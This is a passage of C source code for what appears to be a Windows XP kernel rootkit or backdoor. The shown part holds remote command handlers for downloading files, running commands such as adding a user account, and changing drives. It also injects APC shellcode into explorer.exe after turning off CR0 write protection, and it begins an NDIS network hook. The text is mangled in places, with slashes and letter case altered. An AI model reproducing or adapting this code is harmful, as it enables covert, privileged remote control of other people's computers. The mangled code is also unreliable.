   strlen("wrong Arguments/n wget URL fullFileNAme/n")
   );
  return STATUS_SUCCESS;
}
if(strlen(Argv[1]) + strlen(Argv[2]) >= 98){
  uSend(
   pRecvList->pConnection,
   "Arguments Are too long",
   strlen("Arguments Are too long")
   );
}
result = KWget(Argv[1],Argv[2]);
if(result == FALSE){
  uSend(
   pRecvList->pConnection,
   "os version not support/n",
   strlen("os version not support/n")
   );
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Exec(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN  result;
if(Argc != 2){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n     exec /"net user uay /ADD/"/n",
   strlen("wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n     exec /"net user uay /ADD/"/n")
   );
  return STATUS_SUCCESS;
}
result = KExec(Argv[1]);
if(result == FALSE){
  uSend(
   pRecvList->pConnection,
   "os version not support/n",
   strlen("os version not support/n")
   );
}

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//判断分区是否存在的方法就是看这个分区根目录是否存在
NTSTATUS CommAnd_ChAngeDriver(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
CHAR  tempA[16] = {0};
WCHAR  tempW[16] = {0};

HANDLE    hFile;
NTSTATUS   stAtus;
IO_STATUS_BLOCK  IoStAtusBlock;
UNICODE_STRING  nAme;
OBJECT_ATTRIBUTES oA;

if(Argc != 2){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: chAngedriver d/n",
   strlen("wrong Arguments/n eg: chAngedriver d/n")
   );
  return STATUS_SUCCESS;
}
if(strlen(Argv[1]) > 1){
  uSend(
   pRecvList->pConnection,
   "wrong Arguments/n eg: chAngedriver d/n",
   strlen("wrong Arguments/n eg: chAngedriver d/n")
   );
  return STATUS_SUCCESS;
}
if((Argv[1][0] > 'a' && Argv[1][0] < 'z') || (Argv[1][0] > 'A' && Argv[1][0] < 'Z')){
  strcpy(tempA,"//??//");
  strcat(tempA,Argv[1]);
  strcat(tempA,"://");
  DbgPrint("%s/n",tempA);
  /// like //??//d:
  Atow(tempA,tempW);
  DbgPrint("%S/n",tempW);
  RtlInitUnicodeString(&nAme,tempW);
  InitializeObjectAttributes(
   &oA,
   &nAme,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
  stAtus = ZwOpenFile(
     &hFile,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );
  DbgPrint("stAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",stAtus,IoStAtusBlock.Status);
  if(stAtus != STATUS_SUCCESS || stAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
   pRecvList->pConnection,
   "driver does not exists/n",
   strlen("driver does not exists/n")
   );
   return STATUS_SUCCESS;
  }
  else{
   RtlZeroMemory(pRecvList->pConnection->m_PAth,512);
   wcscpy(pRecvList->pConnection->m_PAth,&tempW[4]);//去掉前面的"/??/"
   ZwClose(hFile);
   return STATUS_SUCCESS;
  }
}
else{
  uSend(
   pRecvList->pConnection,
   "wrong driver,must be A-Z/n",
   strlen("wrong driver,must be A-Z/n")
   );
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------




_____commAnd.h_____
//
//proto type
//
NTSTATUS
ReferenceCommAnd(
PRECVLIST pRecvList
);

NTSTATUS
CommAnd_Dir(
PRECVLIST pRecvList,
WCHAR* pAth
);

NTSTATUS
CommAnd_Cd(
PRECVLIST pRecvList,
ULONG Argc,CHAR* Argv[]
);

NTSTATUS
CommAnd_Del(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Copy(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Wget(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_Exec(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);

NTSTATUS
CommAnd_ChAngeDriver(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);


_____dummyprotocolfunc.c_____

#include <ndis.h>

#define MAX_PACKET_POOL_SIZE 0x0000FFFF
#define MIN_PACKET_POOL_SIZE 0x000000FF

VOID
PtBindAdApter(
OUT PNDIS_STATUS   StAtus,
IN  NDIS_HANDLE    BindContext,
IN  PNDIS_STRING   DeviceNAme,
IN  PVOID     SystemSpecific1,
IN  PVOID     SystemSpecific2
)
{
}


VOID
PtOpenAdApterComplete(
IN  NDIS_HANDLE    ProtocolBindingContext,
IN  NDIS_STATUS    StAtus,
IN  NDIS_STATUS    OpenErrorStAtus
)
{
}


VOID
PtUnbindAdApter(
OUT PNDIS_STATUS  StAtus,
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   UnbindContext
)
{
}


VOID
PtUnloAd(
IN PDRIVER_OBJECT  DriverObject
)
{
}


VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_STATUS   StAtus
)
{

}


VOID
PtResetComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   StAtus
)
{

}


VOID
PtRequestComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_REQUEST  NdisRequest,
IN  NDIS_STATUS   StAtus
)
{

}


VOID
PtStAtus(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   GenerAlStAtus,
IN  PVOID    StAtusBuffer,
IN  UINT    StAtusBufferSize
)
{

}


VOID
PtStAtusComplete(
IN NDIS_HANDLE   ProtocolBindingContext
)
{

}


VOID
PtSendComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  PAcket,
IN  NDIS_STATUS   StAtus
)
{

}    


VOID
PtTrAnsferDAtAComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  PAcket,
IN  NDIS_STATUS   StAtus,
IN  UINT    BytesTrAnsferred
)
{

}


NDIS_STATUS
PtReceive(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   MAcReceiveContext,
IN  PVOID    HeAderBuffer,
IN  UINT    HeAderBufferSize,
IN  PVOID    LookAheAdBuffer,
IN  UINT    LookAheAdBufferSize,
IN  UINT    PAcketSize
)
{

return 0;
}


VOID
PtReceiveComplete(
IN NDIS_HANDLE  ProtocolBindingContext
)
{

}


INT
PtReceivePAcket(
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  PAcket
)
{

return(0);
}




NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}


NDIS_STATUS
PtPnPNetEventReconfigure(
IN ULONG   pAdApt,
IN PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}


NDIS_STATUS
PtPnPNetEventSetPower(
IN ULONG   pAdApt,
IN  PNET_PNP_EVENT pNetPnPEvent
)
{

return 0;
}




_____dummyprotocolfunc.h_____
#include <ndis.h>
VOID
PtOpenAdApterComplete(
IN  NDIS_HANDLE    ProtocolBindingContext,
IN  NDIS_STATUS    Status,
IN  NDIS_STATUS    OpenErrorStatus
);

VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_STATUS   Status
);

VOID
PtSendComplete(
IN NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  Packet,
IN  NDIS_STATUS   Status
);

VOID
PtTrAnsferDAtAComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_PACKET  Packet,
IN  NDIS_STATUS   Status,
IN  UINT    BytesTransferred
);

VOID
PtResetComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   Status
);

VOID
PtRequestComplete(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  PNDIS_REQUEST  NdisRequest,
IN  NDIS_STATUS   Status
);

NDIS_STATUS
PtReceive(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   MacReceiveContext,
IN  PVOID    HeaderBuffer,
IN  UINT    HeaderBufferSize,
IN  PVOID    LookAheadBuffer,
IN  UINT    LookAheadBufferSize,
IN  UINT    PacketSize
);

VOID
PtReceiveComplete(
IN NDIS_HANDLE  ProtocolBindingContext
);

VOID
PtStAtus(
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_STATUS   GeneralStatus,
IN  PVOID    StatusBuffer,
IN  UINT    StatusBufferSize
);

VOID
PtStAtusComplete(
IN NDIS_HANDLE   ProtocolBindingContext
);

VOID
PtBindAdApter(
OUT PNDIS_STATUS   Status,
IN  NDIS_HANDLE    BindContext,
IN  PNDIS_STRING   DeviceName,
IN  PVOID     SystemSpecific1,
IN  PVOID     SystemSpecific2
);

VOID
PtUnbindAdApter(
OUT PNDIS_STATUS  Status,
IN  NDIS_HANDLE   ProtocolBindingContext,
IN  NDIS_HANDLE   UnbindContext
);

VOID
PtUnloAd(
IN PDRIVER_OBJECT  DriverObject
);

INT
PtReceivePAcket(
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  Packet
);

NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
);



_____exec.c_____
///
// uty@uaty
///
#include <ntddk.h>

#ifdef DBG
#define u_DbgPrint(_x_)  /
   DbgPrint _x_;
#else
#define u_DbgPrint(_x_)
#endif

//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
    OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
}KAPC_ENVIRONMENT;

typedef struct _KAPC_STATE{
LIST_ENTRY ApcListHead[2];
PEPROCESS Process;
UCHAR  KernelApcInProgress;
UCHAR  KernelApcPending;
UCHAR  UserApcPending;
}KAPC_STATE,*PKAPC_STATE;

//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG   process,
ULONG   threAd,
ULONG   MAppedAddress,
PKEVENT   pEvent,
PCHAR   CmdLine
);

VOID
WorkThreAd_Exec(
IN PVOID pContext
);

VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);

VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);

BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
);

UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
);

UserExec_end(
VOID
);

BOOLEAN
CheckVersion_Exec(
VOID
);

/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);

BOOLEAN
KeInsertQueueApc(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown
);


/* Function prototypes for AttAch process */
NTKERNELAPI VOID
KeStackAttachProcess(
  IN PEPROCESS Process,
  OUT PKAPC_STATE ApcState
  );

NTKERNELAPI VOID
KeUnstackDetachProcess(
IN PKAPC_STATE ApcState
);

//--------------------------------------------------------------------
//AlreAdy defined in wget.c
static ULONG  THREADLISTHEAD_OFFSET;
static ULONG  THREADLISTENTRY_OFFSET;
static ULONG  IMAGEFILENAME_OFFSET;
static ULONG  ACTIVEPROCESSLINKS_OFFSET;
static ULONG  USERAPCPENDING_OFFSET;
static ULONG  TCB_TEB_OFFSET;

BOOLEAN
KExec(
PCHAR CmdLine
)
{
HANDLE    hThreAd = NULL;
NTSTATUS   dwStAtus;
if(strlen(CmdLine) > 99){  //one byte for '/0'
  DbgPrint("CmdLine is too long,At most 100 bytes/n");
  return FALSE;
}

if(FALSE == CheckVersion_Exec()){
  DbgPrint("os version not supported/n");  
  return FALSE;
}

dwStAtus = PsCreateSystemThread(&hThreAd,
         (ACCESS_MASK)0,
         NULL,
         (HANDLE)0,
         NULL,
         WorkThreAd_Exec,
         CmdLine
         );
         
if (!NT_SUCCESS(dwStAtus)){
  DbgPrint("error when creAte the threAd/n");
  return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);

RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d/n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d/n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d/n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d/n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d/n",osversion.wServicePackMinor));

if(  (osversion.dwMajorVersion == 5)
  && (osversion.dwMinorVersion == 1)
  && (osversion.wServicePackMajor == 1)
  //&& (osversion.wServicePackMinor == 0)
  )
{
  THREADLISTHEAD_OFFSET   = 0x190;
  THREADLISTENTRY_OFFSET   = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
  IMAGEFILENAME_OFFSET   = 0x174;
  ACTIVEPROCESSLINKS_OFFSET  = 0x88;
  USERAPCPENDING_OFFSET   = 0x4A;
  TCB_TEB_OFFSET     = 0x20;
  return TRUE;
}
else if(  (osversion.dwMajorVersion == 5)
  && (osversion.dwMinorVersion == 1)
  && (osversion.wServicePackMajor == 2)
  //&& (osversion.wServicePackMinor == 0)
  )
{
  THREADLISTHEAD_OFFSET   = 0x190;
  THREADLISTENTRY_OFFSET   = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
  IMAGEFILENAME_OFFSET   = 0x174;
  ACTIVEPROCESSLINKS_OFFSET  = 0x88;
  USERAPCPENDING_OFFSET   = 0x4A;
  TCB_TEB_OFFSET     = 0x20;
  return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------
//PMDL pMdl = NULL;
VOID
WorkThreAd_Exec(
IN PVOID pContext
)
{
ULONG   process,threAd;
PKEVENT   pEvent = NULL;
PMDL   pMdl = NULL;
PVOID   MAppedAddress = NULL;
ULONG   size;
KAPC_STATE  ApcStAte;
PCHAR   CmdLine;

CmdLine = (PCHAR)pContext;
if (!find_threAd_Exec(&process,&threAd)){
  DbgPrint("cAnnot find the right threAd/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
  DbgPrint("ExAllocatePool(pEvent) fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}

_asm
{
  CLI //dissable interrupt
  MOV EAX, CR0 //move CR0 register into EAX
  AND EAX, NOT 10000H //disable WP bit
  MOV CR0, EAX //write register back
}
memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
_asm
{
  MOV EAX, CR0 //move CR0 register into EAX
  OR EAX, 10000H //enable WP bit
  MOV CR0, EAX //write register back
  STI //enable interrupt
}

size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
u_DbgPrint(("size: %d/n",size));
pMdl = IoAllocateMdl(
    UserExec,
    size,
    FALSE,
    FALSE,
    NULL
    );
if(!pMdl){
  ExFreePool (pEvent);
  DbgPrint("IoAllocateMdl fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
  MmProbeAndLockPages(
   pMdl,
   KernelMode,
   IoWriteAccess
   );
}
__except(EXCEPTION_EXECUTE_HANDLER){
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmProbeAndLockPAges fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x/n",process));
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
  MAppedAddress = MmMapLockedPagesSpecifyCache(
       pMdl,
       UserMode,
       MmCached,
       NULL,
       FALSE,
       NormalPagePriority
       );
}
__except(EXCEPTION_EXECUTE_HANDLER){
  MmUnlockPages(pMdl);
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmMApLockedPagesSpecifyCAche fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x/n",MAppedAddress));
if (!MAppedAddress){
  KeUnstackDetachProcess(&ApcStAte);
  MmUnlockPages(pMdl);
  IoFreeMdl(pMdl);
  ExFreePool(pEvent);
  DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled/n");
  PsTerminateSystemThread(STATUS_SUCCESS);
}

//reuse ,freed in APC->KernelRoutine
CmdLine   = (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));

KeUnstackDetachProcess(&ApcStAte);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);

uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);

KeWaitForSingleObject(
  pEvent,
  Executive,
  KernelMode,
  FALSE,
  NULL
  );
u_DbgPrint(("ok free pEvent pMdl now/n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);


PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG   process,
ULONG   threAd,
ULONG   MAppedAddress,
PKEVENT   pEvent,
PCHAR   CmdLine
)
{
NTSTATUS  dwStAtus = STATUS_SUCCESS;
PKAPC   pkApc;
BOOLEAN   bBool;


*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1;   //
//*((unsigned char *)threAd+0x164)=1;  //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
  DbgPrint("error:ExAllocAtePool/n");
  return STATUS_INSUFFICIENT_RESOURCES;
}
KeInitializeApc(
  pkApc,
  (PKTHREAD)threAd,
  OriginalApcEnvironment,
  (PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
  NULL,
  (PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
  UserMode,
  (PVOID)CmdLine
  );
bBool = KeInsertQueueApc(pkApc,pEvent,0,0);  //ticky
if(bBool == FALSE){
  DbgPrint("error:KeInsertQueueApc/n");
}

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT   pEvent;
//PCHAR   CmdLine;

u_DbgPrint(("NormAlContext: 0x%x/n",(ULONG)*NormAlContext));
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
//CmdLine = (PWGETPARA)*NormAlContext;
//*SystemArgument1 = (PVOID)pPArA->szFileNAme;
//*SystemArgument2 = (PVOID)pPArA->ulType;
//*NormAlContext  = (PVOID)pPArA->szURL;
//u_DbgPrint(("SystemArgument1: 0x%x/n",(ULONG)*SystemArgument1));
//u_DbgPrint(("SystemArgument2: 0x%x/n",(ULONG)*SystemArgument2));
//ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox

//u_DbgPrint(("Freeing APC Object/n"));
ExFreePool(Apc);    // free the kernel memory
}
//--------------------------------------------------------------------
BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
)
{
ULONG   eproc;
ULONG   begin_proc;
ULONG   ethreAd;
ULONG   begin_threAd;

PLIST_ENTRY  plist_Active_procs;
PLIST_ENTRY  plist_threAd;

/*
#define IS_SYSTEM_THREAD(thread)                                    /
            (((thread)->Tcb.Teb == NULL) ||                         /
            (IS_SYSTEM_ADDRESS((thread)->Tcb.Teb)))
   */

eproc  = (ULONG)PsGetCurrentProcess();
begin_proc = eproc;
while(1){
  u_DbgPrint(("%s/n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET)));
  if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"explorer.exe")){
   break;
  }
  else{
   plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET);
   eproc = (ULONG) plist_Active_procs->Flink;
   eproc = eproc - ACTIVEPROCESSLINKS_OFFSET;
   if(eproc == begin_proc) return FALSE;
  }
}
plist_threAd = (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET);
ethreAd   = (ULONG)plist_threAd->Flink;
ethreAd   = ethreAd - THREADLISTENTRY_OFFSET;
u_DbgPrint(("threAd: 0x%x/n",ethreAd));

begin_threAd = ethreAd;
while(1){
  //if !IS_SYSTEM_THREAD(threAd)
  

  u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x/n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET)));
  if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0) &&
            (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 )
   ){
   break;
  }
  else{
   plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET);
   ethreAd = (ULONG)plist_threAd->Flink;
   ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
   u_DbgPrint(("ethreAd: 0x%x/n",ethreAd));
   if(ethreAd == begin_threAd) return FALSE;
  }
}
*process = eproc;
*threAd  = ethreAd;
return TRUE;
}
//--------------------------------------------------------------------
__declspec(naked)
UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
)
{
__asm{
  push ebp
  mov  ebp, esp
}
__asm{
  pushad
  sub  esp, 20 //存放得到的函数地址
  jmp  end
            
start:
        pop  edx                    // 指令表起始地址存放在  esp -> edx

  push ebp//u 保存 下面这段程序用到了ebp

        // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
        //
        // 输入:
        // edx => 指令表起始地址 (不需要)
        //
        // 输出:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址

        mov  eax, fs:0x30            // PEB
        mov  eax, [eax + 0x0c]       // PROCESS_MODULE_INFO
        mov  esi, [eax + 0x1c]  // InInitOrder.flink
        lodsd
        mov  eax, [eax+8]

        // ========== 定位GetProcAddress的地址 ==========
        //
        // 输入:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址
        //
        // 输出:
        // ebx => kernel32.dll起始地址
        // eax => GetProcAddress地址
        // edx => 指令表起始地址

        mov  ebx, eax       // 取kernel32.dll的起始地址
        mov  esi, dword ptr [ebx+0x3C]   //u 在e_lfanew中得到pe heAder
        mov  esi, dword ptr [esi+ebx+0x78]  //u export directory rvA
        add     esi, ebx     
        mov  edi, dword ptr [esi+0x20]   //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
        add  edi, ebx
        mov  ecx, dword ptr [esi+0x14]   //u AddressOfFunctions; // RVA from base of image
        xor  ebp, ebp
        push    esi
        
search_GetProcAddress:
        push    edi
  push    ecx
  mov  edi,dword ptr [edi]
  add  edi,ebx        // 把输出函数名表起始地址存人edi
  mov  esi,edx        // 指令表起始地址存入esi
  //mov    ecx,0Eh       // 函数getprocAddress长度为0Eh
  push    0xE
  pop  ecx
  repe    cmps byte ptr [esi],byte ptr [edi]
        je  search_GetProcAddress_ok
        
        pop  ecx
        pop  edi
        add  edi,4  ///
        inc  ebp
        loop search_GetProcAddress

search_GetProcAddress_ok:
        pop  ecx   
        pop  edi
        pop  esi
        mov  ecx, ebp
        mov  eax, dword ptr [esi+24h]   //u AddressOfNameOrdinals; // RVA from base of image
        add  eax, ebx
        shl  ecx, 1
        add  eax, ecx
        xor  ecx, ecx
        mov  cx,  word ptr [eax]
        mov  eax, dword ptr [esi+1Ch]   //AddressOfFunctions; // RVA from base of image
        add  eax, ebx
        shl  ecx, 2
        add  eax, ecx
        mov  eax, dword ptr [eax]
        add  eax, ebx
  

  pop  ebp//u 保存
//--------------------------------------------------------------------

  // ============ 调用函数解决api地址 ============
        //
        // 输入:
        // ebx =>kernel32.dll起始地址
        // eax =>GetProcAddress地址
        // edx =>指令表起始地址
        //
        // 输出:
        // edi =>函数地址base addr
        // esi =>指令表当前位置
        // edx =>GetProcAddress 地址

        mov  edi,edx
        mov  esi,edi
        add  esi,0xE      // 0xE 跳过1个字符串"GetProcAddress"
        
        // ============ 解决kernel32.dll中的函数地址 ============
        mov  edx,eax      // 把GetProcAddress 地址存放在edx    
        push    0x1       // 需要解决的函数地址的个数 硬编码可以节省两个字节
        pop  ecx
  mov  edi, esp     / get some spAce to edi
        call    locator_api_addr
  

  push 0   //SW_HIDE
  push CmdLine
  call dword ptr [edi-4]
  jmp  end_func

//--------------------------------------------------------------------
  // ============ 解决api地址的函数 ============
        //
        // 输入参数:
        // ecx 函数个数
        // edx GetProcAddress 地址
        // ebx 输出函数的dll起始地址
        // esi 函数名表起始地址
        // edi 保存函数地址的起始地址

locator_api_addr:
        
locator_space:
        xor   eax, eax
        lodsb
        test  eax, eax                // 寻找函数名之间的空格x00
        jne   locator_space

        push  ecx
        push  edx

        push  esi                    // 函数名
        push  ebx                    // 输出函数的dll起始地址
        call  edx
        pop   edx
        pop   ecx
        stos  dword ptr [edi]
        loop  locator_space
        xor   eax, eax
        ret
//--------------------------------------------------------------------

        // ==================  结束调用 ====================
end:
        call    start
  __emit 'G'
  __emit 'e'
  __emit 't'
  __emit 'P'
  __emit 'r'
  __emit 'o'
  __emit 'c'
  __emit 'A'
  __emit 'd'
  __emit 'd'
  __emit 'r'
  __emit 'e'
  __emit 's'
  __emit 's'
  __emit 0
  __emit 'W'
  __emit 'i'
  __emit 'n'
  __emit 'E'
  __emit 'x'
  __emit 'e'
  __emit 'c'
  __emit 0

end_func:
  add esp,20
  popad
}
__asm{
  mov esp,ebp
  pop ebp
  ret   //don't forget this :>
}
}
//--------------------------------------------------------------------
__declspec(naked) UserExec_end(VOID)
{
__asm{
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0
  __emit 0 //100
}


}
//--------------------------------------------------------------------


_____NdisHook.c_____
///
// uty@uaty
///
#include <ndis.h>
#include "dummyprotocolfunc.h"
#include "structs.h"

typedef
struct _SIGNANDPORT{
unsigned int sign;
unsigned int port;
}SIGNANDPORT,*PSIGNANDPORT;

//not used
/*
typedef
struct _SYNACKPACKET{
ULONG sign;
ULONG BufferAddress;
}SYNACKPACKET,*PSYNACKPACKET;
*/
//
typedef struct _OSVERSIONINFOEXW {
    ULONG dwOSVersionInfoSize;
    ULONG dwMajorVersion;
    ULONG dwMinorVersion;
    ULONG dwBuildNumber;
    ULONG dwPlatformId;
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage
    USHORT wServicePackMajor;
    USHORT wServicePackMinor;
    USHORT wSuiteMask;
    UCHAR wProductType;
    UCHAR wReserved;
} OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW, RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW;

typedef struct _OSVERSIONINFOW {
    ULONG dwOSVersionInfoSize;
    ULONG dwMajorVersion;
    ULONG dwMinorVersion;
    ULONG dwBuildNumber;
    ULONG dwPlatformId;
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage
} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;

//--------------------------------------------------------------------
///mAcros
//#define OURPORT 9929
#define MAX_PATH 260
//--------------------------------------------------------------------
globAl vAr
HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext = NULL;
NDIS_HANDLE  m_ourPAcketPoolHAndle = NULL;
NDIS_HANDLE  m_ourBufferPoolHAndle = NULL;
//for ProtocolReceive
PNDIS_PACKET m_ourPAcketHAndle  = NULL;
PNDIS_BUFFER m_ourBufferHAndle  = NULL;
PVOID   m_ourBuffer    = NULL;
//
PKEVENT   g_puSendEvent;
